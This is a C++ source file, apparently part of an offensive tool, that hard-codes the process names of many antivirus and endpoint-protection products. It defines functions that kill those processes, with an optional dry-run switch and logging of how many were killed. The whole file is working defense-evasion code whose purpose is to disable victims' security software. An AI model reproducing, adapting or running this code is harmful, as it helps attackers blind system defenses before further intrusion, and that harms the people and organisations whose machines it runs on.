75 lines
1.5 KiB
C++
75 lines
1.5 KiB
C++
#include "Common.h"
|
|
#include "AvKill.h"
|
|
#include "KillSafety.h"
|
|
#include "Logger.h"
|
|
|
|
#include <string>
|
|
#include <vector>
|
|
|
|
static const wchar_t* kAvImages[] =
|
|
{
|
|
L"MsMpEng.exe",
|
|
L"NisSrv.exe",
|
|
L"MpCmdRun.exe",
|
|
L"avast.exe",
|
|
L"AvastUI.exe",
|
|
L"AvastSvc.exe",
|
|
L"avguard.exe",
|
|
L"avgnt.exe",
|
|
L"AvgSvc.exe",
|
|
L"avp.exe",
|
|
L"klnagent.exe",
|
|
L"klheads.exe",
|
|
L"kxetray.exe",
|
|
L"ekrn.exe",
|
|
L"ESETSvc.exe",
|
|
L"mcshield.exe",
|
|
L"mfemms.exe",
|
|
L"sophosclean.exe",
|
|
L"SAVService.exe",
|
|
L"ccSvcHst.exe",
|
|
L"smc.exe",
|
|
L"bdagent.exe",
|
|
L"vsserv.exe",
|
|
};
|
|
|
|
static std::vector<std::wstring> AvImageList()
|
|
{
|
|
std::vector<std::wstring> v;
|
|
|
|
for (const wchar_t* n : kAvImages)
|
|
v.emplace_back(n);
|
|
|
|
return v;
|
|
}
|
|
|
|
bool KillAVProcesses()
|
|
{
|
|
KillReport report;
|
|
|
|
// Env switch lets you watch the decision path without terminating anything.
|
|
wchar_t dry[8]{};
|
|
DWORD n = GetEnvironmentVariableW(L"ARDRV_KILL_DRYRUN", dry, _countof(dry));
|
|
const bool dryRun = n > 0 && (dry[0] == L'1' || dry[0] == L'y' || dry[0] == L'Y');
|
|
|
|
KillProcessesSafe(AvImageList(), dryRun, 16, report, true);
|
|
|
|
Log(L"[+] AV kill: %s", report.Format().c_str());
|
|
|
|
wprintf(L"[killav] %s\n", report.Format().c_str());
|
|
return true;
|
|
}
|
|
|
|
bool KillAVProcessesEx(bool dryRun, std::wstring& summary)
|
|
{
|
|
KillReport report;
|
|
|
|
KillProcessesSafe(AvImageList(), dryRun, 16, report, true);
|
|
|
|
summary = report.Format();
|
|
|
|
Log(L"[+] AV kill: %s", summary.c_str());
|
|
return report.killed > 0;
|
|
}
|
|
|